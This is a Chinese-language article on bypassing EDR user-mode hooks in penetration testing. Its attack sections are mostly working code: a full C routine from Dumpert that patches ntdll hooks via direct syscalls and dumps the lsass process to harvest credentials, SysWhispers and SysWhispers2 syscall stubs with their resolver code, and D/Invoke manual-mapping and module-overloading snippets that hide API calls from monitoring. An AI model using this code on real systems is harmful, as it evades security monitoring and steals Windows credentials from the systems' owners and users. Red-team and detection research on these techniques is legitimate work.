EDR绕过方法

0x01 前言

　　这几年，端点检测和响应平台(Endpoint detection and response)-EDR越来越受到重视，EDR产品的功能基本包含实时端点监控、数据分析、威胁检测和拦截以及威胁发现能力。EDR的监控点之一是在应用层进行Hook，在渗透测试或者red-team交战中，一些开源的攻击性安全工具会很容易被EDR的应用层Hook点发现和拦截。下面介绍几种可以用来绕过EDR的应用层Hook的方法

0x02 Hook钩子还原

　　EDR的Hook一般会在系统DLL的函数头进行Hook，比如会Hook NtWriteVirtualMemory的函数，并将NtWriteVirtualMemory开头的字节码改为jmp指令，调到EDR的DLL中进行监控判断是否是一个恶意的行为。所以这种对抗方法，可以Patch该API的JMP指令，来还原Hook，进行绕过EDR，下图为移除Cylance的钩子代码：

　　该方案的缺点是，需要针对不同EDR厂商的补丁进行还原，不同EDR厂商的挂钩点API以及挂钩位置都可能不一致。

　　不同厂商的挂钩位置可以参考 https://github.com/D3VI5H4/Antivirus-Artifacts

0x03  Dumpert工具直接syscall调用Native API恢复NtReadVirtualMemory钩子来实现dump lsass的绕过

　　Dumpert 工具不直接调用API，这个工具会直接使用汇编来恢复NtReadVirtualMemory的钩子，然后调用MiniDumpWriteDump来dump lsass，代码如下：

　　通过汇编代码调用ZwWriteVirtualMemory、ZwProtectVirtualMemory来UnHook NtReadVirtualMemory，

BOOL Unhook_NativeAPI(IN PWIN_VER_INFO pWinVerInfo) {
    BYTE AssemblyBytes[] = {0x4C, 0x8B, 0xD1, 0xB8, 0xFF};

    if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) {
        AssemblyBytes[4] = pWinVerInfo->SystemCall;
        ZwWriteVirtualMemory = &ZwWriteVirtualMemory10;
        ZwProtectVirtualMemory = &ZwProtectVirtualMemory10;
    }
    else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) {
        AssemblyBytes[4] = pWinVerInfo->SystemCall;
        ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1;
        ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1;
    }
    else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) {
        AssemblyBytes[4] = pWinVerInfo->SystemCall;
        ZwWriteVirtualMemory = &ZwWriteVirtualMemory80;
        ZwProtectVirtualMemory = &ZwProtectVirtualMemory80;
    }
    else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) {
        AssemblyBytes[4] = pWinVerInfo->SystemCall;
        ZwWriteVirtualMemory = &ZwWriteVirtualMemory81;
        ZwProtectVirtualMemory = &ZwProtectVirtualMemory81;
    }
    else {
        return FALSE;
    }

    LPVOID lpProcAddress = GetProcAddress(LoadLibrary(L"ntdll.dll"), pWinVerInfo->lpApiCall);

    LPVOID lpBaseAddress = lpProcAddress;
    ULONG OldProtection, NewProtection;
    SIZE_T uSize = 10;
    NTSTATUS status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
    if (status != STATUS_SUCCESS) {
        return FALSE;
    }

    status = ZwWriteVirtualMemory(GetCurrentProcess(), lpProcAddress, (PVOID)AssemblyBytes, sizeof(AssemblyBytes), NULL);
    if (status != STATUS_SUCCESS) {
        return FALSE;
    }

    status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection);
    if (status != STATUS_SUCCESS) {
        return FALSE;
    }

    return TRUE;
}

　　Unhook NtReadVirtualMemory之后，通过汇编调用ZwOpenProcess、ZwCreateFile来打开lsass进程、创建dump文件，然后再调用MiniDumpWriteDump来创建lsass的dump

__declspec(dllexport) void __cdecl Dump() {

    if (sizeof(LPVOID) != 8) {
        exit(1);
    }

    if (!IsElevated()) {
        exit(1);
    }

    SetDebugPrivilege();

    PWIN_VER_INFO pWinVerInfo = (PWIN_VER_INFO)calloc(1, sizeof(WIN_VER_INFO));

    // First set OS Version/Architecture specific values
    OSVERSIONINFOEXW osInfo;
    osInfo.dwOSVersionInfoSize = sizeof(osInfo);

    _RtlGetVersion RtlGetVersion = (_RtlGetVersion)
        GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetVersion");
    if (RtlGetVersion == NULL) {
        exit(1);
    }

    RtlGetVersion(&osInfo);
    swprintf_s(pWinVerInfo->chOSMajorMinor, _countof(pWinVerInfo->chOSMajorMinor), L"%u.%u", osInfo.dwMajorVersion, osInfo.dwMinorVersion);
    pWinVerInfo->dwBuildNumber = osInfo.dwBuildNumber;

    // Now create os/build specific syscall function pointers.
    if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) {
        ZwOpenProcess = &ZwOpenProcess10;
        ZwClose = &ZwClose10;
        NtCreateFile = &NtCreateFile10;
        pWinVerInfo->SystemCall = 0x3F;
    }
    else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && osInfo.dwBuildNumber == 7601) {
        ZwOpenProcess = &ZwOpenProcess7SP1;
        ZwClose = &ZwClose7SP1;
        NtCreateFile = &NtCreateFile7SP1;
        pWinVerInfo->SystemCall = 0x3C;
    }
    else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) {
        ZwOpenProcess = &ZwOpenProcess80;
        ZwClose = &ZwClose80;
        NtCreateFile = &NtCreateFile80;
        pWinVerInfo->SystemCall = 0x3D;
    }
    else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) {
        ZwOpenProcess = &ZwOpenProcess81;
        ZwClose = &ZwClose81;
        NtCreateFile = &NtCreateFile81;
        pWinVerInfo->SystemCall = 0x3E;
    }
    else {
        exit(1);
    }

    _RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)
        GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
    if (RtlInitUnicodeString == NULL) {
        exit(1);
    }

    RtlInitUnicodeString(&pWinVerInfo->ProcName, L"lsass.exe");

    if (!GetPID(pWinVerInfo)) {
        exit(1);
    }

    pWinVerInfo->lpApiCall = "NtReadVirtualMemory";

    if (!Unhook_NativeAPI(pWinVerInfo)) {
        exit(1);
    }

    HANDLE hProcess = NULL;
    OBJECT_ATTRIBUTES ObjectAttributes;
    InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
    CLIENT_ID uPid = { 0 };

    uPid.UniqueProcess = pWinVerInfo->hTargetPID;
    uPid.UniqueThread = (HANDLE)0;

    NTSTATUS status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &uPid);
    if (hProcess == NULL) {
        exit(1);
    }

    WCHAR chDmpFile[MAX_PATH] = L"\??\";
    WCHAR chWinPath[MAX_PATH];
    GetWindowsDirectory(chWinPath, MAX_PATH);
    wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), chWinPath);
    wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), L"\Temp\dumpert.dmp");

    UNICODE_STRING uFileName;
    RtlInitUnicodeString(&uFileName, chDmpFile);

    HANDLE hDmpFile = NULL;
    IO_STATUS_BLOCK IoStatusBlock;
    ZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock));
    OBJECT_ATTRIBUTES FileObjectAttributes;
    InitializeObjectAttributes(&FileObjectAttributes, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    //  Open input file for writing, overwrite existing file.
    status = NtCreateFile(&hDmpFile, FILE_GENERIC_WRITE, &FileObjectAttributes, &IoStatusBlock, 0,
        FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);

    if (hDmpFile == INVALID_HANDLE_VALUE) {
        ZwClose(hProcess);
        exit(1);
    }

    DWORD dwTargetPID = GetProcessId(hProcess);
    BOOL Success = MiniDumpWriteDump(hProcess,
        dwTargetPID,
        hDmpFile,
        MiniDumpWithFullMemory,
        NULL,
        NULL,
        NULL);

    ZwClose(hDmpFile);
    ZwClose(hProcess);

    return;
}

　　我们可以看看汇编代码的实现，主要是通过对API的Index赋值到eax，然后调用syscall

　　

　　这里存在一个问题，不同版本的windows中ntdll里面API调用的Index不一样，汇编代码会有差异，所以这里需要针对不同windows版本适配需要调用的汇编代码：

　　https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Syscalls.asm

　　直接调用汇编代码这种方案可以直接绕开EDR的应用层Hook，不过缺点就是需要对各个windows各个版本进行大量的适配。

　　可以通过 Syswhispers 或 Syswhispers2 工具来解析ntdll.dll中的Index，其中Syswhispers2减少了asm文件的大小，Dumpert、Syswhispers、Syswhispers2目前都只支持x64位的Syscall，如果需要x86的Syscall，可以参考SysWhispers2_x86 

 　　其中Syswhispers、Syswhispers2都需要安装python3，我们尝试通过Syswhispers用以下命令获取NtProtectVirtualMemory的汇编代码

　　>py .syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

　　其中syscalls_mem.asm代码如下：

.code

NtProtectVirtualMemory PROC
    mov rax, gs:[60h]                            ; Load PEB into RAX.
NtProtectVirtualMemory_Check_X_X_XXXX:               ; Check major version.
    cmp dword ptr [rax+118h], 5
    je  NtProtectVirtualMemory_SystemCall_5_X_XXXX
    cmp dword ptr [rax+118h], 6
    je  NtProtectVirtualMemory_Check_6_X_XXXX
    cmp dword ptr [rax+118h], 10
    je  NtProtectVirtualMemory_Check_10_0_XXXX
    jmp NtProtectVirtualMemory_SystemCall_Unknown
NtProtectVirtualMemory_Check_6_X_XXXX:               ; Check minor version for Windows Vista/7/8.
    cmp dword ptr [rax+11ch], 0
    je  NtProtectVirtualMemory_Check_6_0_XXXX
    cmp dword ptr [rax+11ch], 1
    je  NtProtectVirtualMemory_Check_6_1_XXXX
    cmp dword ptr [rax+11ch], 2
    je  NtProtectVirtualMemory_SystemCall_6_2_XXXX
    cmp dword ptr [rax+11ch], 3
    je  NtProtectVirtualMemory_SystemCall_6_3_XXXX
    jmp NtProtectVirtualMemory_SystemCall_Unknown
NtProtectVirtualMemory_Check_6_0_XXXX:               ; Check build number for Windows Vista.
    cmp word ptr [rax+120h], 6000
    je  NtProtectVirtualMemory_SystemCall_6_0_6000
    cmp word ptr [rax+120h], 6001
    je  NtProtectVirtualMemory_SystemCall_6_0_6001
    cmp word ptr [rax+120h], 6002
    je  NtProtectVirtualMemory_SystemCall_6_0_6002
    jmp NtProtectVirtualMemory_SystemCall_Unknown
NtProtectVirtualMemory_Check_6_1_XXXX:               ; Check build number for Windows 7.
    cmp word ptr [rax+120h], 7600
    je  NtProtectVirtualMemory_SystemCall_6_1_7600
    cmp word ptr [rax+120h], 7601
    je  NtProtectVirtualMemory_SystemCall_6_1_7601
    jmp NtProtectVirtualMemory_SystemCall_Unknown
NtProtectVirtualMemory_Check_10_0_XXXX:              ; Check build number for Windows 10.
    cmp word ptr [rax+120h], 10240
    je  NtProtectVirtualMemory_SystemCall_10_0_10240
    cmp word ptr [rax+120h], 10586
    je  NtProtectVirtualMemory_SystemCall_10_0_10586
    cmp word ptr [rax+120h], 14393
    je  NtProtectVirtualMemory_SystemCall_10_0_14393
    cmp word ptr [rax+120h], 15063
    je  NtProtectVirtualMemory_SystemCall_10_0_15063
    cmp word ptr [rax+120h], 16299
    je  NtProtectVirtualMemory_SystemCall_10_0_16299
    cmp word ptr [rax+120h], 17134
    je  NtProtectVirtualMemory_SystemCall_10_0_17134
    cmp word ptr [rax+120h], 17763
    je  NtProtectVirtualMemory_SystemCall_10_0_17763
    cmp word ptr [rax+120h], 18362
    je  NtProtectVirtualMemory_SystemCall_10_0_18362
    cmp word ptr [rax+120h], 18363
    je  NtProtectVirtualMemory_SystemCall_10_0_18363
    cmp word ptr [rax+120h], 19041
    je  NtProtectVirtualMemory_SystemCall_10_0_19041
    cmp word ptr [rax+120h], 19042
    je  NtProtectVirtualMemory_SystemCall_10_0_19042
    jmp NtProtectVirtualMemory_SystemCall_Unknown
NtProtectVirtualMemory_SystemCall_5_X_XXXX:          ; Windows XP and Server 2003
    mov eax, 004dh
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_6_0_6000:          ; Windows Vista SP0
    mov eax, 004dh
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_6_0_6001:          ; Windows Vista SP1 and Server 2008 SP0
    mov eax, 004dh
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_6_0_6002:          ; Windows Vista SP2 and Server 2008 SP2
    mov eax, 004dh
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_6_1_7600:          ; Windows 7 SP0
    mov eax, 004dh
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_6_1_7601:          ; Windows 7 SP1 and Server 2008 R2 SP0
    mov eax, 004dh
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_6_2_XXXX:          ; Windows 8 and Server 2012
    mov eax, 004eh
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_6_3_XXXX:          ; Windows 8.1 and Server 2012 R2
    mov eax, 004fh
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_10_0_10240:        ; Windows 10.0.10240 (1507)
    mov eax, 0050h
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_10_0_10586:        ; Windows 10.0.10586 (1511)
    mov eax, 0050h
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_10_0_14393:        ; Windows 10.0.14393 (1607)
    mov eax, 0050h
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_10_0_15063:        ; Windows 10.0.15063 (1703)
    mov eax, 0050h
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_10_0_16299:        ; Windows 10.0.16299 (1709)
    mov eax, 0050h
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_10_0_17134:        ; Windows 10.0.17134 (1803)
    mov eax, 0050h
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_10_0_17763:        ; Windows 10.0.17763 (1809)
    mov eax, 0050h
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_10_0_18362:        ; Windows 10.0.18362 (1903)
    mov eax, 0050h
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_10_0_18363:        ; Windows 10.0.18363 (1909)
    mov eax, 0050h
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_10_0_19041:        ; Windows 10.0.19041 (2004)
    mov eax, 0050h
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_10_0_19042:        ; Windows 10.0.19042 (20H2)
    mov eax, 0050h
    jmp NtProtectVirtualMemory_Epilogue
NtProtectVirtualMemory_SystemCall_Unknown:           ; Unknown/unsupported version.
    ret
NtProtectVirtualMemory_Epilogue:
    mov r10, rcx
    syscall
    ret
NtProtectVirtualMemory ENDP

　　syscalls_mem.h代码如下：

#pragma once

#include <Windows.h>

EXTERN_C NTSTATUS NtProtectVirtualMemory(
    IN HANDLE ProcessHandle,
    IN OUT PVOID * BaseAddress,
    IN OUT PSIZE_T RegionSize,
    IN ULONG NewProtect,
    OUT PULONG OldProtect);

　　可以看到是生成的syscalls_mem.c先通过gs:[60h]获取PEB地址，然后通过PEB->OSMajorVersion、PEB->OSMinorVersion判断版本号，调用对应NtProtectVirtualMemory的Index

nt!_PEB 
   +0x118 OSMajorVersion   : Uint4B
   +0x11c OSMinorVersion   : Uint4B

　　SysWhispers2测试如下，会生成syscalls_mem.c、syscalls_mem.h、syscalls_mem_stubs.asm共三个文件。

　　syscalls_mem_stubs.asm代码如下，使用NtProtectVirtualMemory的Hash名称传递给SW2_GetSyscallNumber函数

.code

EXTERN SW2_GetSyscallNumber: PROC

NtProtectVirtualMemory PROC
    push rcx                   ; Save registers.
    push rdx
    push r8
    push r9
    mov ecx, 00D9F0319h        ; Load function hash into ECX.
    call SW2_GetSyscallNumber  ; Resolve function hash into syscall number.
    pop r9                     ; Restore registers.
    pop r8
    pop rdx
    pop rcx
    mov r10, rcx
    syscall                    ; Invoke system call.
    ret
NtProtectVirtualMemory ENDP

end

　　SW2_GetSyscallNumber具体实现如下，获取到NTDLL的地址，获取相关导出函数进行排序，保存函数名HASH

SW2_SYSCALL_LIST SW2_SyscallList;

DWORD SW2_HashSyscall(PCSTR FunctionName)
{
    DWORD i = 0;
    DWORD Hash = SW2_SEED;

    while (FunctionName[i])
    {
        WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
        Hash ^= PartialName + SW2_ROR8(Hash);
    }

    return Hash;
}

BOOL SW2_PopulateSyscallList()
{
    // Return early if the list is already populated.
    if (SW2_SyscallList.Count) return TRUE;

    PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60);
    PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
    PVOID DllBase = NULL;

    // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
    // in the list, so it's safer to loop through the full list and find it.
    PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
    for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
    {
        DllBase = LdrEntry->DllBase;
        PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
        PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
        PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
        DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (VirtualAddress == 0) continue;

        ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);

        // If this is NTDLL.dll, exit loop.
        PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);

        if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
        if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
    }

    if (!ExportDirectory) return FALSE;

    DWORD NumberOfNames = ExportDirectory->NumberOfNames;
    PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
    PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
    PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);

    // Populate SW2_SyscallList with unsorted Zw* entries.
    DWORD i = 0;
    PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
    do
    {
        PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);

        // Is this a system call?
        if (*(USHORT*)FunctionName == 'wZ')
        {
            Entries[i].Hash = SW2_HashSyscall(FunctionName);
            Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];

            i++;
            if (i == SW2_MAX_ENTRIES) break;
        }
    } while (--NumberOfNames);

    // Save total number of system calls found.
    SW2_SyscallList.Count = i;

    // Sort the list by address in ascending order.
    for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++)
    {
        for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
        {
            if (Entries[j].Address > Entries[j + 1].Address)
            {
                // Swap entries.
                SW2_SYSCALL_ENTRY TempEntry;

                TempEntry.Hash = Entries[j].Hash;
                TempEntry.Address = Entries[j].Address;

                Entries[j].Hash = Entries[j + 1].Hash;
                Entries[j].Address = Entries[j + 1].Address;

                Entries[j + 1].Hash = TempEntry.Hash;
                Entries[j + 1].Address = TempEntry.Address;
            }
        }
    }

    return TRUE;
}

EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
    // Ensure SW2_SyscallList is populated.
    if (!SW2_PopulateSyscallList()) return -1;

    for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
    {
        if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
        {
            return i;
        }
    }

    return -1;
}

　　Nim使用asm绕过EDR可以参考NimlineWhispers，该项目的使用blog可以参考https://ajpc500.github.io/nim/Shellcode-Injection-using-Nim-and-Syscalls/

 　　

0x04 P/Invoke to D/Invoke

 　　P/Invoke基本上是从Windows库文件静态导入API调用的默认方式，这种方式容易被检测。D/Invoke是在运行时手动加载Windows API函数，病使用指向其在内存中位置的指针来调用该函数。安全软件不会检查比如读取ntdll.dll内存的行为，因此不会hook这个读入内存的ntdll.dll，这个读入的ntdll.dll中执行代码是不会被监控到的。

　　

　　代码https://github.com/NVISOsecurity/DInvisibleRegistry共使用了三种D/Invoke的方法

       1. 动态调用，这种方法可以绕过IAT Hook

public static DInvoke.Data.Native.NTSTATUS NtOpenKey(
   ref IntPtr keyHandle,
   STRUCTS.ACCESS_MASK desiredAccess,
   ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes)
{
    object[] funcargs =
    {
        keyHandle,desiredAccess,objectAttributes
    };
    DInvoke.Data.Native.NTSTATUS retvalue = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenKey", typeof(DELEGATES.NtOpenKey), ref funcargs);
    keyHandle = (IntPtr)funcargs[0];
    return retvalue;
}

　　2. Manual Mapping ，这种方法将目标文件加载到内存中，然后使用加载到内存中文件导出的API，核心代码如下：

DInvoke.Data.PE.PE_MANUAL_MAP mappedDLL = new DInvoke.Data.PE.PE_MANUAL_MAP();
mappedDLL = DInvoke.ManualMap.Map.MapModuleToMemory(@"C:WindowsSystem32
tdll.dll");

retValue = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.CallMappedDLLModuleExport(mappedDLL.PEINFO, mappedDLL.ModuleBase, "NtOpenKey", typeof(DELEGATES.NtOpenKey), ntOpenKeyParams, false);
keyHandle = (IntPtr)ntOpenKeyParams[0];

　　3. OverloadMapping，会先将目标文件加载到内存中，然后覆盖一个合法路径的文件内存，所以执行起来，像是从磁盘上合法DLL执行的，代码如下：

DInvoke.Data.PE.PE_MANUAL_MAP mappedDLL = DInvoke.ManualMap.Overload.OverloadModule(@"C:WindowsSystem32
tdll.dll");
Console.WriteLine("Decoy module is found!
 Using: {0} as a decoy", mappedDLL.DecoyModule);

　　执行后可以看到，Overload了workfolderssvc.dll，并且可以看到NtOpenKey操作的堆栈也是从workfolderssvc.dll发出

　　

　　

 　　 参考https://offensivedefence.co.uk/posts/dinvoke-syscalls/，我们还有种Syscalls的绕过方案DInvoke.DynamicInvoke.Generic.GetSyscallStub

IntPtr pAllocateSysCall = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtAllocateVirtualMemory");
NtAllocateVirtualMemory fSyscallAllocateMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(pAllocateSysCall, typeof(NtAllocateVirtualMemory));

　 

　　参考：https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/